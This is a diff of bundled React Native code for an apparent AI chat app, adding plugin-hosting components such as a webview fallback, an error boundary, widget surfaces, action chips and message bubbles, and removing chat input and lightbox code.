+      },
+      onError: (syntheticEvent) => {
+        const { nativeEvent } = syntheticEvent;
+        console.warn("[EmbeddedPluginWebView] Error:", nativeEvent.description);
+        setError(`WebView error: ${nativeEvent.description}`);
+      },
+      onHttpError: (syntheticEvent) => {
+        const { nativeEvent } = syntheticEvent;
+        console.warn("[EmbeddedPluginWebView] HTTP error:", nativeEvent.statusCode, nativeEvent.url);
+        if (nativeEvent.statusCode >= 400) {
+          setError(`HTTP ${nativeEvent.statusCode}: Failed to load plugin`);
+        }
+      },
+      startInLoadingState: true,
+      renderLoading: () => /* @__PURE__ */ jsxs2(View2, { style: styles2.webviewLoading, children: [
+        /* @__PURE__ */ jsx2(ActivityIndicator, { size: "small", color: ada2.orange }),
+        /* @__PURE__ */ jsx2(Text2, { style: styles2.loadingText, children: "Loading plugin..." })
+      ] }),
+      ...Platform.OS === "ios" ? { bounces: false } : {}
+    }
+  ) });
 }
-var styles4 = StyleSheet4.create({
-  row: {
-    flexDirection: "row",
-    alignItems: "flex-end",
-    marginBottom: 12,
-    paddingHorizontal: 12,
-    gap: 8
-  },
-  rowUser: {
-    justifyContent: "flex-end"
+var styles2 = StyleSheet2.create({
+  container: {
+    flex: 1,
+    backgroundColor: ada2.paper
   },
-  avatarOrb: {
-    width: 28,
-    height: 28,
+  center: {
+    flex: 1,
     justifyContent: "center",
-    alignItems: "center"
-  },
-  avatarSpacer: {
-    width: 28,
-    height: 28
-  },
-  bubble: {
-    maxWidth: "78%",
-    backgroundColor: ada4.botBubble,
-    borderWidth: 1,
-    borderColor: ada4.botBubbleBorder,
-    borderRadius: borderRadius3.xl,
-    paddingHorizontal: 16,
-    paddingVertical: 12
-  },
-  bubbleUser: {
-    backgroundColor: ada4.userBubble,
-    borderColor: "transparent"
-  },
-  bubbleSystem: {
-    backgroundColor: ada4.orangeSoft,
-    borderColor: ada4.orange,
-    maxWidth: "90%"
-  },
-  bubbleNotification: {
-    backgroundColor: ada4.orangeSoft,
-    borderColor: "rgba(255, 122, 40, 0.35)",
-    borderRadius: borderRadius3.lg,
-    maxWidth: "90%"
-  },
-  notificationLeftStripe: {
-    width: 3,
-    alignSelf: "stretch",
-    backgroundColor: ada4.orange,
-    borderRadius: 2,
-    marginRight: 4
-  },
-  notificationHeader: {
-    flexDirection: "row",
     alignItems: "center",
-    gap: 6,
-    marginBottom: 6
+    backgroundColor: ada2.paper,
+    paddingHorizontal: 32
   },
-  notificationHeaderIcon: {
-    fontSize: 12
+  errorText: {
+    color: "#C15545",
+    fontSize: 16,
+    textAlign: "center"
   },
-  notificationHeaderText: {
-    color: ada4.orangeDeep,
-    fontSize: 11,
-    fontWeight: "700",
-    letterSpacing: 0.6,
-    textTransform: "uppercase",
-    fontFamily: fontFam3
+  webview: {
+    flex: 1,
+    backgroundColor: ada2.paper
   },
-  userText: {
-    color: ada4.userBubbleText,
-    fontSize: fontSize4.md,
-    lineHeight: 22,
-    fontFamily: fontFam3
+  webviewLoading: {
+    position: "absolute",
+    top: 0,
+    left: 0,
+    right: 0,
+    bottom: 0,
+    justifyContent: "center",
+    alignItems: "center",
+    backgroundColor: ada2.paper,
+    gap: 12
   },
-  timeText: {
-    fontSize: 11,
-    color: ada4.inkMuted,
-    alignSelf: "flex-end",
-    marginTop: 4,
-    fontFamily: fontFam3
-  },
-  timeTextUser: {
-    color: "rgba(250,246,238,0.55)"
-  },
-  attachments: {
-    flexDirection: "row",
-    flexWrap: "wrap",
-    gap: 6,
-    marginBottom: 8
-  },
-  attachmentImage: {
-    width: 120,
-    height: 90,
-    borderRadius: 8
-  },
-  attachmentFile: {
-    backgroundColor: "rgba(255,255,255,0.15)",
-    borderRadius: 8,
-    paddingHorizontal: 10,
-    paddingVertical: 6
-  },
-  attachmentFileName: {
-    color: "rgba(255,255,255,0.8)",
-    fontSize: 11,
-    maxWidth: 100
-  },
-  copiedBadge: {
-    position: "absolute",
-    top: 6,
-    right: 6,
-    backgroundColor: "#5A8A5C",
-    paddingHorizontal: 8,
-    paddingVertical: 2,
-    borderRadius: borderRadius3.sm
-  },
-  copiedText: {
-    color: "#fff",
-    fontSize: fontSize4.xs,
-    fontWeight: "600"
-  },
-  toolCalls: {
-    marginTop: 8,
-    borderTopWidth: 1,
-    borderTopColor: ada4.border,
-    paddingTop: 6
-  },
-  toolToggle: {
-    flexDirection: "row",
-    alignItems: "center",
-    gap: 6
-  },
-  toolLabel: {
-    color: ada4.inkSoft,
-    fontSize: fontSize4.xs,
-    fontWeight: "500"
-  },
-  toolChevron: {
-    color: ada4.inkMuted,
-    fontSize: 8
-  },
-  toolItem: {
-    marginTop: 4,
-    paddingLeft: 8
-  },
-  toolName: {
-    color: ada4.inkSoft,
-    fontSize: fontSize4.xs,
-    fontFamily: "monospace"
-  },
-  toolSkill: {
-    color: ada4.orangeDeep,
-    fontSize: fontSize4.xs
+  loadingText: {
+    color: ada2.inkSoft,
+    fontSize: 14
   }
 });
-var markdownStyles = StyleSheet4.create({
-  body: {
-    color: ada4.botBubbleText,
-    fontSize: fontSize4.md,
-    lineHeight: 22,
-    fontFamily: fontFam3
-  },
-  paragraph: {
-    marginTop: 0,
-    marginBottom: 4
-  },
-  strong: {
-    fontWeight: "700",
-    color: ada4.botBubbleText
-  },
-  em: {
-    fontStyle: "italic"
+
+// src/plugin/Plugin.tsx
+import { jsx as jsx3, jsxs as jsxs3 } from "react/jsx-runtime";
+var PluginErrorBoundary = class extends React.Component {
+  constructor() {
+    super(...arguments);
+    this.state = { hasError: false, error: null };
+  }
+  static getDerivedStateFromError(error) {
+    return { hasError: true, error };
+  }
+  componentDidCatch(error, info) {
+    console.error(`[Plugin:${this.props.pluginId}] Crash:`, error, info.componentStack);
+  }
+  render() {
+    if (this.state.hasError) {
+      return /* @__PURE__ */ jsxs3(View3, { style: styles3.error, children: [
+        /* @__PURE__ */ jsx3(Text3, { style: styles3.errorTitle, children: "Plugin Error" }),
+        /* @__PURE__ */ jsx3(Text3, { style: styles3.errorMessage, children: this.state.error?.message || "An unexpected error occurred" }),
+        /* @__PURE__ */ jsx3(
+          Pressable,
+          {
+            style: styles3.retryBtn,
+            onPress: () => this.setState({ hasError: false, error: null }),
+            children: /* @__PURE__ */ jsx3(Text3, { style: styles3.retryText, children: "Retry" })
+          }
+        )
+      ] });
+    }
+    return this.props.children;
+  }
+};
+function Plugin({ id, manifest, commandBufferRef, props: engineProps }) {
+  const { plugin, loading, error, bundleMissing } = usePlugin(id, manifest);
+  const connectorId = id.startsWith("mcp:") ? id.split(":")[1] : manifest._connectorId;
+  const bridge = useNativeBridge(id, connectorId, commandBufferRef);
+  const declaredCaps = manifest?.native;
+  const native = useMemo2(() => gatePluginNative(getPluginNative(), declaredCaps), [declaredCaps]);
+  const theme = usePluginTheme();
+  const user = getUser();
+  const context = useMemo2(() => ({
+    tenant: getTenant3(),
+    pluginId: id,
+    connectorId,
+    user: user ? { id: user.actorId || "", name: user.name || "", roles: user.roles || [] } : void 0
+  }), [id, connectorId, user?.actorId, user?.name, user?.roles]);
+  const iframeUrl = manifest?.render?.iframeUrl;
+  if (bundleMissing && iframeUrl) {
+    return /* @__PURE__ */ jsx3(EmbeddedPluginWebView, { pluginId: id, manifest, commandBufferRef });
+  }
+  if (loading) {
+    return /* @__PURE__ */ jsxs3(View3, { style: styles3.center, children: [
+      /* @__PURE__ */ jsx3(ActivityIndicator2, { size: "small", color: colors.dark.accent }),
+      /* @__PURE__ */ jsx3(Text3, { style: styles3.loadingText, children: "Loading plugin..." })
+    ] });
+  }
+  if (error || !plugin) {
+    return /* @__PURE__ */ jsx3(View3, { style: styles3.center, children: /* @__PURE__ */ jsx3(Text3, { style: styles3.errorMessage, children: error || "Plugin not found" }) });
+  }
+  const { Component } = plugin;
+  return /* @__PURE__ */ jsx3(PluginErrorBoundary, { pluginId: id, children: /* @__PURE__ */ jsx3(Component, { bridge, native, theme, context, props: engineProps }) });
+}
+var styles3 = StyleSheet3.create({
+  center: {
+    flex: 1,
+    justifyContent: "center",
+    alignItems: "center",
+    backgroundColor: colors.dark.bgPrimary,
+    paddingHorizontal: 32,
+    gap: 12
   },
-  code_inline: {
-    backgroundColor: ada4.paperDeep,
-    color: ada4.orangeDeep,
-    paddingHorizontal: 5,
-    paddingVertical: 1,
-    borderRadius: 4,
-    fontFamily: "monospace",
-    fontSize: fontSize4.sm
+  loadingText: {
+    color: colors.dark.textSecondary,
+    fontSize: 14
   },
-  fence: {
-    backgroundColor: ada4.paperDeep,
-    padding: 10,
-    borderRadius: 10
+  error: {
+    flex: 1,
+    justifyContent: "center",
+    alignItems: "center",
+    backgroundColor: colors.dark.bgPrimary,
+    paddingHorizontal: 32,
+    gap: 8
   },
-  fenceText: {
-    fontFamily: "monospace",
-    fontSize: fontSize4.sm,
-    color: ada4.ink
+  errorTitle: {
+    color: colors.dark.red,
+    fontSize: 16,
+    fontWeight: "600"
   },
-  link: {
-    color: ada4.orangeDeep
+  errorMessage: {
+    color: colors.dark.textSecondary,
+    fontSize: 14,
+    textAlign: "center"
   },
-  list_item: {
-    color: ada4.botBubbleText
+  retryBtn: {
+    marginTop: 12,
+    paddingHorizontal: 20,
+    paddingVertical: 10,
+    backgroundColor: colors.dark.accentSoft,
+    borderRadius: 8
   },
-  bullet_list: {
-    marginVertical: 4
+  retryText: {
+    color: colors.dark.accent,
+    fontSize: 14,
+    fontWeight: "600"
   }
 });
 
-// src/chat/TypingIndicator.tsx
-import { View as View5, StyleSheet as StyleSheet5 } from "react-native";
-import { AdaOrb as AdaOrb2 } from "@ateam-ai-mobile/plugin-runtime";
-import { jsx as jsx5 } from "react/jsx-runtime";
-function TypingIndicator() {
-  return /* @__PURE__ */ jsx5(View5, { style: styles5.row, children: /* @__PURE__ */ jsx5(AdaOrb2, { size: 32, state: "thinking" }) });
+// src/plugin/PluginSurface.tsx
+import { jsx as jsx4 } from "react/jsx-runtime";
+function PluginSurface({ pluginId, surface, dismiss, props }) {
+  const [manifest, setManifest] = useState3(null);
+  const [error, setError] = useState3(null);
+  useEffect3(() => {
+    let cancelled = false;
+    getPlugin(pluginId).then((m) => {
+      if (!cancelled) m ? setManifest(m) : setError("Plugin not found");
+    }).catch((e) => {
+      if (!cancelled) setError(e?.message || "Failed to load");
+    });
+    return () => {
+      cancelled = true;
+    };
+  }, [pluginId]);
+  const body = manifest ? /* @__PURE__ */ jsx4(Plugin, { id: pluginId, manifest, props }) : /* @__PURE__ */ jsx4(View4, { style: { flex: 1, justifyContent: "center", alignItems: "center", padding: 24 }, children: error ? null : /* @__PURE__ */ jsx4(ActivityIndicator3, { color: ada3.orange }) });
+  if (surface.type === "fullscreen") {
+    return /* @__PURE__ */ jsx4(
+      SurfaceFullscreen,
+      {
+        visible: true,
+        onClose: dismiss,
+        status: surface.title,
+        showWordmark: true,
+        closeIcon: "x",
+        closeLabel: "Close",
+        children: body
+      }
+    );
+  }
+  return /* @__PURE__ */ jsx4(
+    SurfaceDrawer,
+    {
+      visible: true,
+      onClose: dismiss,
+      title: surface.title || pluginId,
+      subtitle: surface.subtitle,
+      privacy: !!surface.privacy,
+      children: body
+    }
+  );
 }
-var styles5 = StyleSheet5.create({
-  row: {
-    flexDirection: "row",
-    alignItems: "center",
-    marginBottom: 12,
-    paddingHorizontal: 16,
-    paddingVertical: 4
+
+// src/plugin/WidgetHost.tsx
+import { jsx as jsx5 } from "react/jsx-runtime";
+var useWidgetHostStore = create((set) => ({
+  pluginId: null,
+  props: void 0,
+  open: (pluginId, props) => set({ pluginId, props }),
+  close: () => set({ pluginId: null, props: void 0 })
+}));
+function openWidget(pluginId, props) {
+  const surfaces = useSurfaceStore.getState();
+  if (surfaces.manifests[pluginId]) {
+    surfaces.show(pluginId, props);
+    return;
   }
-});
+  useWidgetHostStore.getState().open(pluginId, props);
+}
+function WidgetHost() {
+  const pluginId = useWidgetHostStore((s) => s.pluginId);
+  const props = useWidgetHostStore((s) => s.props);
+  const close = useWidgetHostStore((s) => s.close);
+  useEffect4(() => {
+    return pluginCommandEmitter2.on("focus-plugin", (data) => {
+      if (data?.pluginId) openWidget(String(data.pluginId), data.props);
+    });
+  }, []);
+  if (!pluginId) return null;
+  return /* @__PURE__ */ jsx5(
+    PluginSurface,
+    {
+      pluginId,
+      surface: { type: "fullscreen" },
+      dismiss: close,
+      props
+    },
+    pluginId
+  );
+}
 
-// src/chat/ChatInput.tsx
-import { useState as useState3, useRef as useRef2, useCallback as useCallback2, useEffect as useEffect2 } from "react";
-import {
-  View as View6,
-  TextInput,
-  Pressable as Pressable3,
-  StyleSheet as StyleSheet6,
-  Platform as Platform4
-} from "react-native";
-import Svg, { Path, Line, Polygon } from "react-native-svg";
-import { colors, borderRadius as borderRadius4 } from "@ateam-ai-mobile/core";
-import { getHaptics as getHaptics3 } from "@ateam-ai-mobile/plugin-runtime";
-import { jsx as jsx6, jsxs as jsxs5 } from "react/jsx-runtime";
-function ChatInput({ onSend, onCallStart, loading, prefill, placeholder }) {
-  const [text, setText] = useState3("");
-  const [height, setHeight] = useState3(40);
-  const inputRef = useRef2(null);
-  useEffect2(() => {
-    if (prefill) {
-      setText(prefill);
-      inputRef.current?.focus();
-    }
-  }, [prefill]);
-  const handleSend = useCallback2(() => {
-    const trimmed = text.trim();
-    if (!trimmed) return;
-    getHaptics3()?.impact("light");
-    onSend(trimmed);
-    setText("");
-    setHeight(40);
-  }, [text, loading, onSend]);
-  const canSend = text.trim().length > 0;
-  return /* @__PURE__ */ jsx6(View6, { style: styles6.dock, children: /* @__PURE__ */ jsxs5(View6, { style: styles6.inputRow, children: [
-    onCallStart && /* @__PURE__ */ jsx6(Pressable3, { style: styles6.callBtn, onPress: onCallStart, children: /* @__PURE__ */ jsx6(Svg, { width: 20, height: 20, viewBox: "0 0 24 24", fill: "none", stroke: colors.light.accent, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: /* @__PURE__ */ jsx6(Path, { d: "M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.63A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z" }) }) }),
-    /* @__PURE__ */ jsx6(
-      TextInput,
-      {
-        ref: inputRef,
-        style: [styles6.input, { height: Math.min(Math.max(40, height), 120) }],
-        value: text,
-        onChangeText: setText,
-        onContentSizeChange: (e) => setHeight(e.nativeEvent.contentSize.height),
-        placeholder: placeholder || "Message A-Team...",
-        placeholderTextColor: colors.light.textMuted,
-        multiline: true,
-        returnKeyType: "default",
-        blurOnSubmit: false,
-        onSubmitEditing: () => {
-          if (Platform4.OS === "web") handleSend();
+// src/chat/UIActionsRow.tsx
+import { jsx as jsx6, jsxs as jsxs4 } from "react/jsx-runtime";
+var fontFam = Platform2.OS === "ios" ? "SF Pro Rounded" : void 0;
+var ICON_MAP = {
+  timer: "\u23F1",
+  memory: "\u{1F9E0}",
+  calendar: "\u{1F4C5}",
+  home: "\u{1F3E0}",
+  bell: "\u{1F514}",
+  star: "\u2B50",
+  bolt: "\u26A1"
+};
+function UIActionsRow({ actions }) {
+  if (!Array.isArray(actions) || actions.length === 0) return null;
+  const handlePress = (a) => {
+    getHaptics()?.selection();
+    const id = a.pluginId || a.target;
+    if (!id) return;
+    const focus = a.payload?.id || a.payload?.entity_id || a.payload?.focusId;
+    const surface = useSurfaceStore2.getState().manifests[id];
+    if (surface) {
+      useSurfaceStore2.getState().show(id, focus ? { focus } : void 0);
+      return;
+    }
+    const params = {};
+    if (focus) params.focus = String(focus);
+    if (a.intent === "suggested_action" && a.payload?.tool) {
+      params.tool = String(a.payload.tool);
+      if (a.payload?.args) {
+        try {
+          params.args = JSON.stringify(a.payload.args);
+        } catch {
         }
       }
-    ),
-    /* @__PURE__ */ jsx6(
-      Pressable3,
+    }
+    if (a.intent === "quick_toggle" && a.payload?.verb) {
+      params.verb = String(a.payload.verb);
+    }
+    const navigate = getUIActionNavigator();
+    if (navigate) {
+      navigate({ pluginId: id, params });
+      return;
+    }
+    openWidget(id, Object.keys(params).length ? params : void 0);
+  };
+  return /* @__PURE__ */ jsx6(View5, { style: styles4.row, children: actions.map((a, i) => {
+    const icon = a.icon ? ICON_MAP[a.icon.toLowerCase()] : null;
+    return /* @__PURE__ */ jsxs4(
+      Pressable2,
       {
-        style: [styles6.sendBtn, canSend && styles6.sendBtnActive],
-        onPress: handleSend,
-        disabled: !canSend,
-        children: /* @__PURE__ */ jsxs5(Svg, { width: 18, height: 18, viewBox: "0 0 24 24", fill: "none", stroke: canSend ? "#fff" : colors.light.textMuted, strokeWidth: 2, children: [
-          /* @__PURE__ */ jsx6(Line, { x1: "22", y1: "2", x2: "11", y2: "13" }),
-          /* @__PURE__ */ jsx6(Polygon, { points: "22 2 15 22 11 13 2 9 22 2" })
-        ] })
-      }
-    )
-  ] }) });
+        accessibilityRole: "button",
+        accessibilityLabel: a.description || a.label,
+        onPress: () => handlePress(a),
+        style: ({ pressed }) => [styles4.chip, pressed && styles4.chipPressed],
+        children: [
+          icon ? /* @__PURE__ */ jsx6(Text4, { style: styles4.icon, children: icon }) : null,
+          /* @__PURE__ */ jsx6(Text4, { style: styles4.label, numberOfLines: 1, children: a.label })
+        ]
+      },
+      `${a.target || "a"}-${i}`
+    );
+  }) });
 }
-var styles6 = StyleSheet6.create({
-  dock: {
-    paddingHorizontal: 12,
-    paddingVertical: 8,
-    backgroundColor: colors.light.bgPrimary,
-    borderTopWidth: 0.5,
-    borderTopColor: colors.light.border
+var styles4 = StyleSheet4.create({
+  row: {
+    flexDirection: "row",
+    flexWrap: "wrap",
+    gap: 6,
+    marginTop: 10
   },
-  inputRow: {
+  chip: {
     flexDirection: "row",
-    alignItems: "flex-end",
-    backgroundColor: colors.light.bgInput,
-    borderRadius: borderRadius4.xl,
+    alignItems: "center",
+    gap: 6,
+    paddingHorizontal: 12,
+    paddingVertical: 6,
+    backgroundColor: ada4.orangeSoft,
+    borderColor: ada4.orange,
     borderWidth: 1,
-    borderColor: colors.light.border,
-    paddingHorizontal: 4,
-    paddingVertical: 4,
-    gap: 4
-  },
-  callBtn: {
-    width: 36,
-    height: 36,
-    borderRadius: 18,
-    justifyContent: "center",
-    alignItems: "center"
+    borderRadius: 14
   },
-  input: {
-    flex: 1,
-    fontSize: 16,
-    color: colors.light.textPrimary,
-    paddingHorizontal: 8,
-    paddingVertical: 8,
-    maxHeight: 120
+  chipPressed: {
+    backgroundColor: ada4.orange
   },
-  sendBtn: {
-    width: 36,
-    height: 36,
-    borderRadius: 18,
-    justifyContent: "center",
-    alignItems: "center",
-    backgroundColor: colors.light.bgTertiary
+  icon: {
+    fontSize: 12,
+    lineHeight: 14
   },
-  sendBtnActive: {
-    backgroundColor: colors.light.accent
+  label: {
+    color: ada4.orangeDeep,
+    fontSize: fontSize2.xs,
+    fontWeight: "600",
+    fontFamily: fontFam
   }
 });
 
-// src/Lightbox.tsx
-import { Modal, View as View7, Image as Image2, Pressable as Pressable4, Text as Text5, StyleSheet as StyleSheet7 } from "react-native";
-import { getConfig as getConfig2 } from "@ateam-ai-mobile/core";
-import { jsx as jsx7, jsxs as jsxs6 } from "react/jsx-runtime";
-function Lightbox() {
-  const uri = useLightboxStore((s) => s.uri);
-  const hide = useLightboxStore((s) => s.hide);
-  if (!uri) return null;
-  return /* @__PURE__ */ jsx7(Modal, { visible: true, transparent: true, animationType: "fade", onRequestClose: hide, children: /* @__PURE__ */ jsxs6(Pressable4, { style: styles7.backdrop, onPress: hide, children: [
-    /* @__PURE__ */ jsx7(
-      Image2,
-      {
-        source: {
-          uri,
-          ...uri.startsWith("http") ? {
-            headers: { Authorization: `Bearer ${getConfig2().tokenProvider.getToken()}` }
-          } : {}
-        },
-        style: styles7.image,
-        resizeMode: "contain"
-      }
-    ),
-    /* @__PURE__ */ jsx7(View7, { style: styles7.closeHint, children: /* @__PURE__ */ jsx7(Text5, { style: styles7.closeHintText, children: "Tap to close" }) })
-  ] }) });
+// src/chat/TableCardBlock.tsx
+import { View as View6, Text as Text5, StyleSheet as StyleSheet5, Platform as Platform3 } from "react-native";
+import { ada as ada5, borderRadius as borderRadius2, fontSize as fontSize3, spacing } from "@ateam-ai-mobile/core";
+import { jsx as jsx7, jsxs as jsxs5 } from "react/jsx-runtime";
+var fontFam2 = Platform3.OS === "ios" ? "SF Pro Rounded" : void 0;
+function TableCardBlock({ columns, rows }) {
+  if (!columns?.length || !rows?.length) return null;
+  const [titleCol, ...detailCols] = columns;
+  return /* @__PURE__ */ jsx7(View6, { style: styles5.wrap, children: rows.map((row, i) => {
+    const cells = Array.isArray(row) ? row : [row];
+    const title = cells[0];
+    return /* @__PURE__ */ jsxs5(View6, { style: styles5.card, children: [
+      /* @__PURE__ */ jsx7(Text5, { style: styles5.title, children: String(title ?? "") }),
+      detailCols.length > 0 && /* @__PURE__ */ jsx7(View6, { style: styles5.details, children: detailCols.map((col, ci) => {
+        const value = cells[ci + 1];
+        if (value == null || value === "") return null;
+        return /* @__PURE__ */ jsxs5(View6, { style: styles5.row, children: [
+          /* @__PURE__ */ jsx7(Text5, { style: styles5.label, children: String(col) }),
+          /* @__PURE__ */ jsx7(Text5, { style: styles5.value, children: String(value) })
+        ] }, ci);
+      }) })
+    ] }, i);
+  }) });
 }
-var styles7 = StyleSheet7.create({
-  backdrop: {
-    flex: 1,
-    backgroundColor: "rgba(0,0,0,0.92)",
-    justifyContent: "center"
+var styles5 = StyleSheet5.create({
+  wrap: {
+    marginVertical: 6,
+    gap: 8
   },
-  image: {
-    width: "100%",
-    height: "85%"
+  card: {
+    backgroundColor: ada5.paper,
+    borderRadius: borderRadius2.md,
+    borderWidth: 1,
+    borderColor: ada5.border,
+    padding: spacing.md
   },
-  closeHint: {
-    position: "absolute",
-    bottom: 40,
-    alignSelf: "center"
+  title: {
+    color: ada5.ink,
+    fontSize: fontSize3.md,
+    fontWeight: "600",
+    fontFamily: fontFam2,
+    letterSpacing: -0.2,
+    marginBottom: 6
   },
-  closeHintText: {
-    color: "rgba(255,255,255,0.6)",
-    fontSize: 13
+  details: {
+    gap: 4
+  },
+  row: {
+    flexDirection: "row",
+    alignItems: "flex-start",
+    gap: 8
+  },
+  label: {
+    color: ada5.inkMuted,
+    fontSize: fontSize3.xs,
+    fontFamily: fontFam2,
+    fontWeight: "500",
+    width: 84,
+    textTransform: "uppercase",
+    letterSpacing: 0.6,
+    paddingTop: 2
+  },
+  value: {
+    flex: 1,
+    color: ada5.inkSoft,
+    fontSize: fontSize3.sm,
+    fontFamily: fontFam2,
+    lineHeight: 18
   }
 });
 
-// src/AdasChatScreen.tsx
-import { jsx as jsx8, jsxs as jsxs7 } from "react/jsx-runtime";
-function isSameDay2(a, b) {
+// src/stores/lightboxStore.ts
+import { create as create2 } from "zustand";
+var useLightboxStore = create2((set) => ({
+  uri: null,
+  show: (uri) => set({ uri }),
+  hide: () => set({ uri: null })
+}));
+
+// src/chat/MessageBubble.tsx
+import { Fragment, jsx as jsx8, jsxs as jsxs6 } from "react/jsx-runtime";
+var fontFam3 = Platform4.OS === "ios" ? "SF Pro Rounded" : void 0;
+function formatTime(date) {
+  const h = date.getHours();
+  const m = date.getMinutes().toString().padStart(2, "0");
+  return `${h}:${m}`;
+}
+function DaySeparator({ date }) {
+  const today = /* @__PURE__ */ new Date();
+  const yesterday = new Date(today);
+  yesterday.setDate(yesterday.getDate() - 1);
+  let label;
+  if (isSameDay(date, today)) {
+    label = "Today";
+  } else if (isSameDay(date, yesterday)) {
+    label = "Yesterday";
+  } else {
+    label = date.toLocaleDateString(void 0, { weekday: "long", month: "short", day: "numeric" });
+  }
+  return /* @__PURE__ */ jsx8(View7, { style: separatorStyles.container, children: /* @__PURE__ */ jsx8(View7, { style: separatorStyles.pill, children: /* @__PURE__ */ jsx8(Text6, { style: separatorStyles.text, children: label }) }) });
+}
+function isSameDay(a, b) {
   return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
 }
-function AdasChatScreen({
-  onCallStart,
-  placeholder,
-  footerAccessory,
-  withLightbox = true
-}) {
-  const messages = useChatStore((s) => s.messages);
-  const loading = useChatStore((s) => s.loading);
-  const conversationLoaded = useChatStore((s) => s.conversationLoaded);
-  const loadConversation = useChatStore((s) => s.loadConversation);
-  const sendMessage = useChatStore((s) => s.sendMessage);
-  const listRef = useRef3(null);
-  const [refreshing, setRefreshing] = useState4(false);
-  const [prefill, setPrefill] = useState4("");
-  useEffect3(() => {
-    if (!conversationLoaded) loadConversation();
-  }, [conversationLoaded, loadConversation]);
-  useEffect3(() => {
-    const unsub = pluginCommandEmitter.on("prepare-chat-message", ({ text }) => {
-      if (text) setPrefill(text);
-    });
-    return unsub;
-  }, []);
-  const useInverted = Platform5.OS !== "web";
-  const listData = useMemo(
-    () => useInverted ? [...messages].reverse() : messages,
-    [messages, useInverted]
-  );
-  const scrollToLatest = useCallback3((animated) => {
-    if (useInverted) listRef.current?.scrollToOffset({ offset: 0, animated });
-    else listRef.current?.scrollToEnd({ animated });
-  }, [useInverted]);
-  const handleSend = useCallback3((text) => {
-    setPrefill("");
-    sendMessage(text);
-    scrollToLatest(true);
-  }, [sendMessage, scrollToLatest]);
-  const handleRefresh = useCallback3(async () => {
-    setRefreshing(true);
+var separatorStyles = StyleSheet6.create({
+  container: {
+    alignItems: "center",
+    marginVertical: 14
+  },
+  pill: {
+    backgroundColor: ada6.paperSoft,
+    paddingHorizontal: 14,
+    paddingVertical: 5,
+    borderRadius: 999
+  },
+  text: {
+    fontSize: 12,
+    fontWeight: "600",
+    color: ada6.inkMuted,
+    letterSpacing: 0.4,
+    fontFamily: fontFam3
+  }
+});
+function MessageBubble({ message }) {
+  const isUser = message.role === "user";
+  const isSystem = message.role === "system";
+  const isNotification = !isUser && message.kind === "notification";
+  const [copied, setCopied] = useState4("");
+  const showCopied = useCallback3((label) => {
+    setCopied(label);
+    getHaptics2()?.notification("success");
+    setTimeout(() => setCopied(""), 1500);
+  }, []);
+  const copyText = useCallback3(async (text) => {
+    const clipboard = getClipboard();
+    if (!clipboard) return;
+    await clipboard.setString(text);
+    showCopied("Copied!");
+  }, [showCopied]);
+  const handleLongPress = useCallback3(() => {
+    copyText(message.content);
+  }, [message.content, copyText]);
+  return /* @__PURE__ */ jsxs6(View7, { style: [styles6.row, isUser && styles6.rowUser], children: [
+    !isUser && !isNotification && /* @__PURE__ */ jsx8(View7, { style: styles6.avatarOrb, children: /* @__PURE__ */ jsx8(
+      AdaOrb,
+      {
+        size: 28,
+        state: message.jobProgress?.status === "running" ? "thinking" : "idle"
+      }
+    ) }),
+    isNotification && /* @__PURE__ */ jsx8(View7, { style: styles6.notificationLeftStripe }),
+    /* @__PURE__ */ jsxs6(
+      Pressable3,
+      {
+        accessibilityRole: "text",
+        accessibilityLabel: `${isUser ? "You" : isNotification ? "Notification" : "Ada"}: ${message.content}`,
+        accessibilityHint: "Long-press to copy",
+        onLongPress: handleLongPress,
+        style: [
+          styles6.bubble,
+          isUser && styles6.bubbleUser,
+          isSystem && styles6.bubbleSystem,
+          isNotification && styles6.bubbleNotification
+        ],
+        children: [
+          isNotification && /* @__PURE__ */ jsxs6(View7, { style: styles6.notificationHeader, children: [
+            /* @__PURE__ */ jsx8(Text6, { style: styles6.notificationHeaderIcon, children: "\u{1F514}" }),
+            /* @__PURE__ */ jsx8(Text6, { style: styles6.notificationHeaderText, children: "Notification" })
+          ] }),
+          message.attachments && message.attachments.length > 0 && /* @__PURE__ */ jsx8(View7, { style: styles6.attachments, children: message.attachments.map((att, i) => att.previewUri ? /* @__PURE__ */ jsx8(
+            Pressable3,
+            {
+              accessibilityRole: "imagebutton",
+              accessibilityLabel: `Photo${att.name ? `: ${att.name}` : ""}. Tap to enlarge.`,
+              onPress: () => useLightboxStore.getState().show(att.previewUri),
+              children: /* @__PURE__ */ jsx8(
+                Image,
+                {
+                  source: {
+                    uri: att.previewUri,
+                    ...att.previewUri.startsWith("http") ? {
+                      headers: { Authorization: `Bearer ${getConfig2().tokenProvider.getToken()}` }
+                    } : {}
+                  },
+                  style: styles6.attachmentImage,
+                  resizeMode: "cover",
+                  onError: (e) => console.warn("[Image] Failed to load:", att.previewUri?.slice(0, 100), e.nativeEvent.error)
+                }
+              )
+            },
+            i
+          ) : /* @__PURE__ */ jsx8(View7, { style: styles6.attachmentFile, children: /* @__PURE__ */ jsx8(Text6, { style: styles6.attachmentFileName, numberOfLines: 1, children: att.name }) }, i)) }),
+          isUser ? (
+            // Hide the "See attachment" placeholder when the bubble already shows the photo.
+            message.content && !(message.content === "See attachment" && message.attachments?.length) ? /* @__PURE__ */ jsx8(Text6, { selectable: true, style: styles6.userText, children: message.content }) : null
+          ) : renderAssistantContent(message.content, copyText),
+          !!copied && /* @__PURE__ */ jsx8(View7, { style: styles6.copiedBadge, children: /* @__PURE__ */ jsx8(Text6, { style: styles6.copiedText, children: copied }) }),
+          message.toolCalls && message.toolCalls.length > 0 && /* @__PURE__ */ jsx8(ToolCallsBadge, { calls: message.toolCalls }),
+          message.jobProgress && /* @__PURE__ */ jsx8(JobProgressBar, { progress: message.jobProgress }),
+          !isUser && message.actions && message.actions.length > 0 && /* @__PURE__ */ jsx8(UIActionsRow, { actions: message.actions }),
+          /* @__PURE__ */ jsx8(Text6, { style: [styles6.timeText, isUser && styles6.timeTextUser], children: formatTime(message.timestamp) })
+        ]
+      }
+    ),
+    isUser && /* @__PURE__ */ jsx8(View7, { style: styles6.avatarSpacer })
+  ] });
+}
